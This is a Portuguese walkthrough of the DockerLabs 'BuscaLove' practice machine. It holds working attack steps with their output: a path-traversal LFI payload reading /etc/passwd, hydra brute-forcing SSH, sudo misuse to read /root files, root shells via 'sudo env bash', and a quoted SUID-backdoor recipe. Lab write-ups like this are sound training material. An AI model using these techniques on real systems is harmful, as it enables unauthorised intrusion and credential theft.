



## **DockerLabs BuscaLove**

**Para utilizar esta máquina devemos primeiro baixar os arquivos e assim implantá-la com Docker.**

**Baixamos o arquivo da página <https://dockerlabs.es/>**

**Para implantar o laboratório executamos da seguinte forma, para que também possamos ver que ele nos diz a direção que teremos, bem como o que fazer quando terminarmos.**

```

(root@soja)-[~/dockerlabs/maq.facil/maq.buscalove]
# ls
auto_deploy.sh  buscalove.tar

(root@soja)-[~/dockerlabs/maq.facil/maq.buscalove]
# bash auto_deploy.sh buscalove.tar

```



```

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es → 172.18.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla

```

## COLETA DE INFORMAÇÕES

**nmap 172.17.0.2 -sS -sV -sC --open -p- -T5 -n -Pn**

**Verificando as portas podemos ver que temos duas portas abertas a 22 e a 80.**

```
(root@soja)-[~/dockerlabs/maq.facil/maq.buscalove]
# nmap 172.18.0.2 -A -sS -sC -sV --open -p- -T5 -n -Pn
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-05 22:42 -03
Nmap scan report for 172.18.0.2
Host is up (0.000060s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|_ 256 dc:4c:b6:41:c4:e1:72:c3:7d:a0:ed:ca:0e:7a:bc:54 (ECDSA)
|_ 256 66:61:de:8c:fb:5b:3b:f4:fb:b9:ca:69:b1:ac:6e:2e (ED25519)
80/tcp    open  http      Apache httpd 2.4.58 ((Ubuntu))
|_ http-title: Apache2 Ubuntu Default Page: It works
|_ http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:12:00:02 (Unknown)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.06 ms 172.18.0.2
```

**Podemos ver que a porta 22 e a porta 80 estão abertas , correspondendo ao serviço *SSH* e *HTTP* .**

**Vamos obter os subdiretórios existentes na página web para podermos visualizar outras páginas que nos possam fornecer mais informações. Como a revisão do código-fonte da página e o uso do comando *ffuf* para realizar o fuzzing não detectaram novas páginas, usaremos um comando semelhante chamado *gobuster* , com o qual obteremos as páginas existentes em diferentes formatos. Nesse caso, vamos procurar aqueles que possuem extensão *.HTML* , *.php* , *.sh* , *.txt* e *.py* .**

***gobuster dir -u http://172.18.0.2 -w /usr/share/wordlists/dirb/common.txt -x txt,php,html,py,.css***

```
nmap x gobuster x msf x hydra x nikito x wfuzz x
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://172.18.0.2
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,py,css,txt,php
[+] Timeout: 10s

Starting gobuster in directory enumeration mode

/.php (Status: 403) [Size: 275]
/.html (Status: 403) [Size: 275]
/.hta.txt (Status: 403) [Size: 275]
/.hta.py (Status: 403) [Size: 275]
/.hta (Status: 403) [Size: 275]
/.hta.html (Status: 403) [Size: 275]
/.htaccess.html (Status: 403) [Size: 275]
/.hta.php (Status: 403) [Size: 275]
/.htaccess.py (Status: 403) [Size: 275]
/.htaccess.php (Status: 403) [Size: 275]
/.htaccess.txt (Status: 403) [Size: 275]
/.hta.css (Status: 403) [Size: 275]
/.htpasswd.py (Status: 403) [Size: 275]
/.htaccess (Status: 403) [Size: 275]
/.htpasswd.html (Status: 403) [Size: 275]
/.htpasswd.php (Status: 403) [Size: 275]
/.htaccess.css (Status: 403) [Size: 275]
/.htpasswd (Status: 403) [Size: 275]
/.htpasswd.css (Status: 403) [Size: 275]
/.htpasswd.txt (Status: 403) [Size: 275]
/index.html (Status: 200) [Size: 10671]
/index.html (Status: 200) [Size: 10671]
/server-status (Status: 403) [Size: 275]
/wordpress (Status: 301) [Size: 312] [→ http://172.18.0.2/wordpress/]
Progress: 27702 / 27708 (99.98%)

Finished
```

Vemos que existe um subdiretório web chamado *wordpress*, então vamos visualizar seu conteúdo na web.

# Mi página web

## Acerca de mí

Aquí puedes poner información sobre ti, tu sitio web o lo que quieras compartir con los visitantes.

Ejemplo de párrafo de contenido principal.

Otro párrafo de ejemplo.

## Barra lateral

- [Enlace 1](#)
- [Enlace 2](#)
- [Enlace 3](#)

© 2024 Mi página web

```
← → ↻ 🏠 view-source:http://172.18.0.2/wordpress/ ☆ 📧 ⬇️ 📄 🏠 🌐 🍷 Kali Linux 🧰 Kali Tools 📄 Kali Docs 🗨️ Kali Forums 🚫 Kali NetHunter 🔥 Exploit-DB 🔍 Google Hacking DB 🛡️ OffSec >>

1 <!DOCTYPE html>
2 <html lang="es">
3 <head>
4   <meta charset="UTF-8">
5   <meta name="viewport" content="width=device-width, initial-scale=1.0">
6   <title>Mi página web</title>
7   <link rel="stylesheet" href="style.css">
8   <!-- El desarrollo de esta web está en fase verde muy verde te dejo aqui la ventana abierta con mucho love para los curiosos que gustan d
9 </head>
10 <body>
11   <header>
12     <h1>Mi página web</h1>
13   </header>
14
15   <main>
16     <section id="about">
17       <h2>Acerca de mí</h2>
18       <p>Aquí puedes poner información sobre ti, tu sitio web o lo que quieras compartir con los visitantes.</p>
19     </section>
20
21     <section id="contenido-principal">
22       <p>Ejemplo de párrafo de contenido principal.</p>
23       <p>Otro párrafo de ejemplo.</p>
24     </section>
25   </main>
26
27   <aside>
28     <h3>Barra lateral</h3>
29     <ul>
30       <li><a href="#">Enlace 1</a></li>
31       <li><a href="#">Enlace 2</a></li>
32       <li><a href="#">Enlace 3</a></li>
33     </ul>
34   </aside>
35
36   <footer>
37     <p>&copy; 2024 Mi página web</p>
38   </footer>
39 </body>
40 </html>
41
```

**Este site possui uma vulnerabilidade do tipo LFI ( *Local File Inclusion* ), que consiste em o usuário poder acessar e visualizar o conteúdo dos arquivos locais no**

servidor a partir do site, portanto, se usarmos Path Traversal para escrever No mecanismo de busca por trás do caminho temos a string de texto " ?/love=../../../../../../../../etc/passwd ", podemos visualizar o conteúdo do arquivo passwd, que é usado no Linux para armazenar as principais informações de cada conta (nome de usuário, grupo, ID de usuário, ID de grupo, etc.). Isto é o que nos é mostrado no arquivo localizado em /etc/passwd:

```
wfuzz -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://172.18.0.2/wordpress/index.php?FUZZ=../../../../../../../../etc/passwd" --hc 404 --hl 40
```

```
(root@soja)-[~/dockerlabs/maq.facil/maq.buscalove]
# wfuzz -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://172.18.0.2/wordpress/index.php?FUZZ=../../../../../../../../etc/passwd" --hc 404 --hl 40

*****
* Wfuzz 3.1.0 - The Web Fuzzer *
*****

Target: http://172.18.0.2/wordpress/index.php?FUZZ=../../../../../../../../etc/passwd
Total requests: 220559

This is the default welcome page used to test the correct operation of the Apache2 server after
at this site is working properly. You should replace this file (located at /var/www/html/index.html)
before continuing to operate your HTTP server.

ID      Response  Lines  Word      Chars      Payload
-----
000002045: 200      66 L    148 W      2319 Ch    "love"
^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning: Finishing pending requests ...
Total time: 0
Processed Requests: 17231
Filtered Requests: 17230
Requests/sec.: 0
```





```
→ 172.18.0.2/wordpress/in
Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec
8 <!-- El desarrollo de esta web esta en fase verde muy verde te dejo aqui la ventana abierta con mucho love para los curiosos que gustan c
9 </head>
10 <body>
11 <header>
12 <h1>Mi página web</h1>
13 </header>
14
15 <main>
16 <section id="about">
17 <h2>Acerca de mí</h2>
18 <p>Aquí puedes poner información sobre ti, tu sitio web o lo que quieras compartir con los visitantes.</p>
19 </section>
20
21 <section id="contenido-principal">
22 <p>Ejemplo de párrafo de contenido principal.</p>
23 <p>Otro párrafo de ejemplo.</p>
24 </section>
25 root:x:0:0:root:/root:/bin/bash
26 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
27 bin:x:2:2:bin:/bin:/usr/sbin/nologin
28 sys:x:3:3:sys:/dev:/usr/sbin/nologin
29 sync:x:4:65534:sync:/bin:/bin/sync
30 games:x:5:60:games:/usr/games:/usr/sbin/nologin
31 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
32 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
33 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
34 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
35 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
36 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
37 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
38 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
39 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
40 irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
41 _apt:x:42:65534::/nonexistent:/usr/sbin/nologin
42 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
43 ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
44 systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
45 systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
46 messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
47 systemd-resolve:x:996:996:systemd Resolver:/:/usr/sbin/nologin
48 sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
49 rosa:x:1002:1002:/home/rosa:/bin/bash
50
51 </main>
52
```

ROSA E PEDRO  
POSSÍVEIS USUÁRIOS.

vamos usar o hydra para quebrar a senha ssh

hydra -l rosa -P /usr/share/wordlists/rockyou.txt ssh://  
172.18.0.2:22 -t 64

```
(root@soja)-[~/dockerlabs/maq.facil/maq.buscalove]
# hydra -l rosa -P /usr/share/wordlists/rockyou.txt ssh://172.18.0.2:22 -t 64

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organ
izations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-10-06 00:04:14
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: u
se -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344400 login tries (l:1/p:14344400), ~224132 tries per t
ask
[DATA] attacking ssh://172.18.0.2:22/
[STATUS] 420.00 tries/min, 420 tries in 00:01h, 14344026 to do in 569:13h, 18 active
[22][ssh] host: 172.18.0.2 login: rosa password: lovebug
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 11 final worker threads did not complete until end.
[ERROR] 11 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-10-06 00:06:14
```



usuário: rosa  
senha: lovebug

ssh rosa@172.18.0.2

```
(root@rosa) ~ [~/dockerlabs/maq.facil/maq.buscatlove]
# ssh rosa@172.18.0.2
The authenticity of host '172.18.0.2 (172.18.0.2)' can't be established.
ED25519 key fingerprint is SHA256:ECC1astoz07Vfbm1ebeRXC1STGBRfHKV0RnpBAuX4.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.18.0.2' (ED25519) to the list of known hosts.
rosa@172.18.0.2's password:
Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.10.9-amd64 x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Fri May 31 08:44:21 2024 from 172.17.0.1
rosa@ebc50733fa7d:~$ whoami
rosa
rosa@ebc50733fa7d:~$
```

## ESCALADA DE PRIVILÉGIOS

```
rosa@ebc50733fa7d:~$ sudo -l
Matching Defaults entries for rosa on ebc50733fa7d:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User rosa may run the following commands on ebc50733fa7d:
    (ALL) NOPASSWD: /usr/bin/ls, /usr/bin/cat
rosa@ebc50733fa7d:~$
```

O usuário **rosa** tem permissões sudo para executar os comandos **/usr/bin/ls** e **/usr/bin/cat** sem a necessidade de fornecer uma senha (**NOPASSWD**), o que pode ser explorado para ganhar mais informações ou

**possivelmente escalar privilégios.**

```
ssh x root@soja: ~/dockerlabs/maq.facil/maq.buscalove x
rosa@ebc50733fa7d:~$ sudo -l
Matching Defaults entries for rosa on ebc50733fa7d:
  env_reset, mail_badpass,
  secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, as so
  use_pty

User rosa may run the following commands on ebc50733fa7d:
  (ALL) NOPASSWD: /usr/bin/ls, /usr/bin/cat
rosa@ebc50733fa7d:~$ sudo /usr/bin/ls /root/
secret.txt
rosa@ebc50733fa7d:~$ sudo /usr/bin/cat /root/secret.txt
4E 5A 58 57 43 59 33 46 4F 4A 32 47 43 34 54 42 4F 4E 58 58 47 32 49 4B
rosa@ebc50733fa7d:~$
```

**Este formato de dados sugere que pode ser uma string hexadecimal que pode ser convertida em texto legível.**

**<https://gchq.github.io/CyberChef/> .**

https://gchq.github.io/CyberChef/#recipe=Magic(3,false,false,"")&i

Download CyberChef Last build: 2 months ago - Version 10 is here! Read about the new features h... Options About / Support

From Hexdump

URL Decode

Regular expression

Entropy

Fork

Magic

Data format

Encryption / Encoding

Public Key

Arithmetic / Logic

Networking

Language

Utils

Date / Time

Extractors

Recipe

Magic

Depth 3

Intensive mode

Extensive language support

Crib (known plaintext string or regex)

Input

4E5A5857435933464F4A3247433454424F4E58584732494B

Output

| Recipe (click to load)                            | Result snippet | Properties  |
|---|----------------|---|
| From_Hex('None')<br>From_Base32('A-Z2-7=', false) | noacertarasosi | Possible languages:<br>Portuguese<br>Spanish<br>Italian |

possível senha

**RESULTADO:**

**possível senha: noacertarasosi**

```
rosa@ebc50733fa7d:/$ su pedro
Password:
pedro@ebc50733fa7d:/$ whomai
bash: whomai: command not found
pedro@ebc50733fa7d:/$ whoami
pedro
pedro@ebc50733fa7d:/$
```

**conseguimos entra no usuário pedro usando a senha no-acertarasosi .**

```
rosa@ebc50733fa7d:/$ su pedro
Password:
pedro@ebc50733fa7d:/$ whomai
bash: whomai: command not found
pedro@ebc50733fa7d:/$ whoami
pedro
pedro@ebc50733fa7d:/$
```

## escalação de privilégios sudo -l

```
pedro@ebc50733fa7d:~$ sudo -l
Matching Defaults entries for pedro on ebc50733fa7d:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User pedro may run the following commands on ebc50733fa7d:
    (ALL) NOPASSWD: /usr/bin/env
```

## com esse comando **sudo /usr/bin/env bash**

O resultado do comando `sudo -l` indica que o usuário `pedro` pode executar o comando `/usr/bin/env` como qualquer usuário sem precisar fornecer uma senha. Isso pode ser explorado para obter uma shell de root ou para executar comandos com privilégios elevados.

### Exploração do `env`

Você pode usar o `env` para executar um shell como root. O comando é assim:

```
bash
```

 Copiar código

```
sudo /usr/bin/env bash
```

### Explicação

1. **Uso de `env`**: O comando `env` é frequentemente usado para modificar o ambiente antes de executar um comando. Como `pedro` pode executá-lo sem senha, você pode usar isso para abrir uma nova shell.
2. **Obter Shell**: Executar o `bash` dessa maneira fornecerá acesso a uma shell com privilégios de root.

uma outra opção é fazer uma pesquisa no site para ter privilégio root com env.

<https://gtfobins.github.io/gtfobins/env/#sudo>.

 / env  Star 10,708

Shell SUID Sudo

## Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

```
env /bin/sh
```

## SUID

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run `sh -p`, omit the `-p` argument on systems like Debian ( $\leq$  Stretch) that allow the default `sh` shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

```
sudo install -m =xs $(which env) .  
./env /bin/sh -p
```

## Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
sudo env /bin/sh
```

```
pedro@ebc50733fa7d:~$ sudo -l
Matching Defaults entries for pedro on ebc50733fa7d:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User pedro may run the following commands on ebc50733fa7d:
    (ALL) NOPASSWD: /usr/bin/env
pedro@ebc50733fa7d:~$ sudo /usr/bin/env bash
root@ebc50733fa7d:/home/pedro# whoami
root
root@ebc50733fa7d:/home/pedro#
```

**Executamos o comando e podemos verificar que concluímos esta máquina com sucesso, pois obtivemos acesso **root**.**

**bobmarley**



